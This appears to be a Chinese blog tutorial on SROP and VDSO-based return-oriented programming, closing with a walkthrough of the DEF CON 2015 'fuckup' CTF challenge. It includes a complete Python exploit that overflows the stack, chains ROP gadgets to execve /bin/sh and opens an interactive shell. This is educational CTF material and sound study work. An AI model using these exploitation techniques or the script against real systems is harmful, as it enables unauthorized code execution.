基础栈溢出复习 三 之 SROP

<–more–>

承接上一篇,这篇学习SROP
最近出现SROP的题目,就是XCTF -NJCTF中的 Pwn300-233
当然,虽然出题人是这么出的,但是也还是有非预期做法的。比如Joker师傅的针对这个题目的强行解决方案,强行猜libc base 然后暴力跑,用ROP 解决。
那么 SROP是什么,与普通的ROP有什么区别呢?我们可以开始学习了。

什么是SROP

SROP: Sigreturn Oriented Programming 系统Signal Dispatch之前会将所有寄存器压入栈,然后调用signal handler,signal handler返回时会将栈的内容还原到寄存器。 如果事先填充栈,然后直接调用signal handler,那在返回的时候就可以控制寄存器的值。

首先,我们得先了解一下signal的调用流程,那么我就能大概了解SROP的利用原理。

正如mctrain,在他的《Sigreturn Oriented Programming (SROP) Attack攻击原理》文章里所提到的,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。

那么,我们是如何利用这个系统调用来做一些不可告人的事情的呢?
在singnal中可以说是,有两个层次,一个是用户,一个是内核层次,我们也可以将这个过程简单的看作。

  • User code
  • singnal handler
  • sigreturn
    如果在mctrain文章中看懂了,signal的调用流程,那么我们就可以讲讲,如何去利用攻击,即我们可以讲讲他的攻击流程。

    攻击流程


    注: 以下图片内容均来自https://www.slideshare.net/AngelBoy1/sigreturn-ori 的PDF
  1. 当内核发起signal

    这个时候,我们可以看到栈还并未没push数据,以及ip仍然在User code上。
  2. 将数据push到栈中时
  3. 将sigreturn syscall的位置 push 进栈
  4. 紧接着程序流程跳转至signal handler
  5. 从signal handler 返回
  6. 然后流程又跳转至 sigreturn code
  7. 执行 singreturn syscall
  8. stack 即栈上的内容全部 pop 回register ,流程又重新回到 user code

    至此,我们基本完成了攻击,我们可以大概总结下,
    我们需要的攻击条件
    第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
    第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
    第三,需要知道syscall指令在内存中的地址;
    第四,需要知道sigreturn系统调用的内存地址。
    当然,更详细的,如利用SROP构造系统调用串(System call chains)依旧可以从mctrain,在他的《Sigreturn Oriented Programming (SROP) Attack攻击原理》文章找到,我们这里的重点并不是SROP,而是做SROP CTF题。

SROP构造,及攻击流程概括的来讲就是:

  • 伪造sigcontext 结构,push进stack中
  • 设置ret address在sigreturn syscall的gadget
  • 将signal fram中的rip(eip)设置在syscall(int 0x80)
  • 当sigreturn返回时,就可以执行syscall
    需要说明的是sigretrun gadget的寻找是有前人总结的
  • x86
    • vdso 正常的 syscall handler也会使用的
  • x64
    • kernel <3.3
    • vsyscall (0xffffffff600000) <= 位置一直固定
    • kernel >= 3.3
      • libc <= 普通的syscall hander也会使用

        VDSO

        了解了一下SROP,我们接下来可以再来学习一下什么是VDSO,以及如何直接利用VDSO做ROP

        VDSO

        VDSO(Virtual Dynamically-linked Shared Object)是个很有意思的东西, 它将内核态的调用映射到用户态的地址空间中, 使得调用开销更小, 路径更好.

开销更小比较容易理解, 那么路径更好指的是什么呢? 拿x86下的系统调用举例, 传统的int 0x80有点慢, Intel和AMD分别实现了sysenter, sysexit和syscall, sysret, 即所谓的快速系统调用指令, 使用它们更快, 但是也带来了兼容性的问题. 于是Linux实现了vsyscall, 程序统一调用vsyscall, 具体的选择由内核来决定. 而vsyscall的实现就在VDSO中.

Linux(kernel 2.6 or upper)环境下执行ldd /bin/sh, 会发现有个名字叫linux-vdso.so.1(老点的版本是linux-gate.so.1)的动态文件, 而系统中却找不到它, 它就是VDSO. 例如:

1
2
3
4
5
wings@sw:~$ ldd /bin/sh
linux-vdso.so.1 => (0x00007ffee4bd1000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5e19e56000)
/lib64/ld-linux-x86-64.so.2 (0x0000557ef5001000)
wings@sw:~$

为什么要用VDSO 来做ROP?
在X86系统中,传统的system call:int 0x80并不是由很好的效果的,因此在intel 新型的cpu提供了新的syscall指令。

  • sysenter
  • sysexit
    (Linux kernel 》= 2.6后的版本支持新型syscall机制)

VDSI可以降低在传统的 int 0x80的overhead 以及提供了sigreturn 方便在signal handler结束后返回到user code
如何利用 VDSO 做ROP
我们需要知道 sysenter其参数传递方式和int 0x80是一样的,但是我们需要事前自己做好funcion prolog
push ebp;mov ebp,sp
以及需要一个 “A good gadgaet for stack pivot”,因为如果没做function prolog可以利用ebp去改变stack位置

Retrun to vDSO

如何找到vdso 地址?
基本上里利用方法就是:

  1. 要么暴力解决
  2. 利用 信息泄露 即我们所受的information leak
    • 使用ld.so _libc_stack_end找到 stack其实位置,计算ELF Auxiliary vector offset 并从中取出AT_SYSINFO_EHDR
    • 使用ld.so中的_rtld_global_ro的某个offset也有vdso的位置。
      我们需要尤其注意的是在开了ASLR的情况下,VDSO的利用是有一定优势的
      在x86环境下:
      只有一个字节是随机的,所以我们可以很容易暴力解决
      在x64环境下
      在开启了pie的情形 有 11字节是随机的 例如:CVE-2014-9585
      但是在linux kernel 3.182.2版本之后,这个已经增加到了18个字节的随机

      重头戏来了:Defcon 2015 Qualifier fuckup

      题目可以在这里下载: this

我们照旧来分析程序:

总体上来说

程序应该是开启了ASLR 的,每次
用户执行命令时,FUCKUP会根据类似于WELL512的生成算法生成的随机数,改变二进制映射的存储器的基址。
当我们运行程序时,可以看到有一个菜单

1
2
3
4
5
6
7
8
9
10
11
$ ./fuckup
Welcome to Fully Unguessable Convoluted Kinetogenic Userspace Pseudoransomization, the new and improved ASLR.
This app is to help prove the benefits of F.U.C.K.U.P.
Main Menu
---------
1. Display info
2. Change random
3. View state info
4. Test stack smash
-------
0. Quit

当运行函数,以及反编译程序之后,我们可以了解程序功能。
当我们选择功能2的时候,“App moved to new random location”,text段和stack会被修改,重新指向新的内存地址
当我们选择3的时候,会告诉我们最后一个随机数(其当前determienstextbase)再次随机化text。这可以用于PRNG的预测
选项4:

1
2
Input buffer is 10 bytes in size. Accepting 100 bytes of data.
This will crash however the location of the stack and binary are unknown to stop code execution

我们在功能3找到一个mmap 地址映射函数:
change_random(sub_80481A6)

1
2
3
4
5
6
7
8
do
{
seedf = randf_state_(a1) * 4294967295.0;
seedl = (signed __int64)seedf;
expect = (void *)(seedl & 0xFFFFF000);
actual = mmap(v3, 0x804CA6C, v2, a1, a2, 0);
}
while ( (seedl & 0xFFFFF000) != actual );

所以寻常的思路,我们基本是做不了了
大概是这样的,做了不一样的地址映射,所以其实这个题目还是要回归于VDSO以及SROP。
思路如下:

  • 32位下vdso 只有1字节是随机的,我们这里可以brute force然后利用其gadget

  • 可以直接利用overflow return address,只有100个字节

    • 先利用vdso的gadget做出read sys call 并加大input的大小
    • read 读入的内容放到tls
    • tls位置在vdso前一个page
    • 使用sysenter 将stack 换到tls段
      然后,我们在第二次输入的时候 可以将 /bin/sh 放入到tls段,这里要注意但是,这个时候tls已经在栈了
  • 紧接着,我们sigreturn gadget 以及 fack signal frame一并放进,然后可以直接execve执行 /bin/sh
  • 进行循环,知道成功getshell

最后的exp,我没能搞定,这里可以参考 hastebin.com的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python3
def read_until(socket, x):
data = b""
while True:
data += socket.recv(4096)
if x in data:
break
if not data:
raise RuntimeError("no data after: %s" % data)
return data

def skip(socket, x):
print(read_until(target, x).decode("utf8"))
print("=======")

if __name__ == '__main__':

import os
import sys
import time
import struct
import socket
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("port", type=int)
args = parser.parse_args()

target = socket.socket()
target.connect((args.host, args.port))

input("Are you ready? This is the time to attach gdb and stuff.")

skip(target, b"Quit")

target.send(b"4\n")
skip(target, b"execution")

# We partially overwrite the return address, we need to comeup
# with valid-in-the-future values for ebx and ebp.

payload = b"a" * 14
payload += struct.pack("<I", 0x3e1b7a6c) # ebx / computed
payload += struct.pack("<I", 0x3e1b8000) # ebp # must only be valid r/w
payload += b"\x14" # re-trigger init with known/constant random_seed, provided by esi.

# Make sure we don't send too much at once.

target.send(payload)
time.sleep(1)

todo = 100 - len(payload)

while todo > 0:
sending = min(10, todo)
target.send(b"a" * (sending - 1) + b"\n")
time.sleep(0.2)
todo = todo - sending
print(".", end="", flush=True)
print()


print("Sent first stage, waiting for menu.")
skip(target, b"Quit")

target.send(b"4\n")
skip(target, b"execution")

print("Sending exploit.")

def get_addr(addr, name):
"""Get runtime addr from ida addr."""

ida_base = 0x8048000

# It seems under xinetd there is one more call to prng().
# Not sure why this is but we just have to check what
# value will be generated and use that.

# run_base = 0x39d54000 # local no xinetd
run_base = 0xfe97c000 # local with xinetd

ret = addr + (run_base - ida_base)

print("%s will be at %#.8x" % (name, ret))
return ret

def pack_addr(addr, name):
return struct.pack("<I", get_addr(addr, name))

payload = b"a" * 14
payload += struct.pack("<I", 0x42424242) # base
payload += struct.pack("<I", 0x42424242) # ebp

# This is so we can ironically expect a F.U.C.K.U.P.
payload += pack_addr(0x080483C0, "welcome")

# Setup syscall. ebx, ecx, edx. eax=11

payload += pack_addr(0x0804908f, "pop eax; pop ebx; pop esi; ret")
payload += struct.pack("<I", 11) # execv
payload += struct.pack("<I", 0x22222222)
payload += struct.pack("<I", 0x22222222)

payload += pack_addr(0x0804961a, "pop edx; pop ecx; pop ebx; ret")
payload += pack_addr(0x080485f9, "NULL") # environ
payload += pack_addr(0x080485f9, "NULL") # argv
payload += struct.pack("<I", 0x22222222)

# Now we use this neat gadget, /bin/sh is right after us.
payload += pack_addr(0x0804875b, "lea ebx, [esp+4]; int 0x80")
payload += pack_addr(0x08048a11, "pop; pop; ret")

payload += b"/bin/sh\x00"
payload += struct.pack("<I", 0x44444444) # eip, too lazy for clean exit.

payload = payload.ljust(100, b"\xcc")

# Ok, sanity check and good to go.
assert len(payload) <= 100, "payload too large, %d bytes." % len(payload)

target.send(payload)
skip(target, b"F.U.C.K.U.P.")

target.set_inheritable(True)

print("You should be able to type stuff now.")
os.system("socat STDIO FD:%d" % target.fileno())

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 什么是SROP
    1. 1.1. 攻击流程
  2. 2. VDSO
    1. 2.1. VDSO
    2. 2.2. Retrun to vDSO
  3. 3. 重头戏来了:Defcon 2015 Qualifier fuckup
    1. 3.1. 总体上来说
,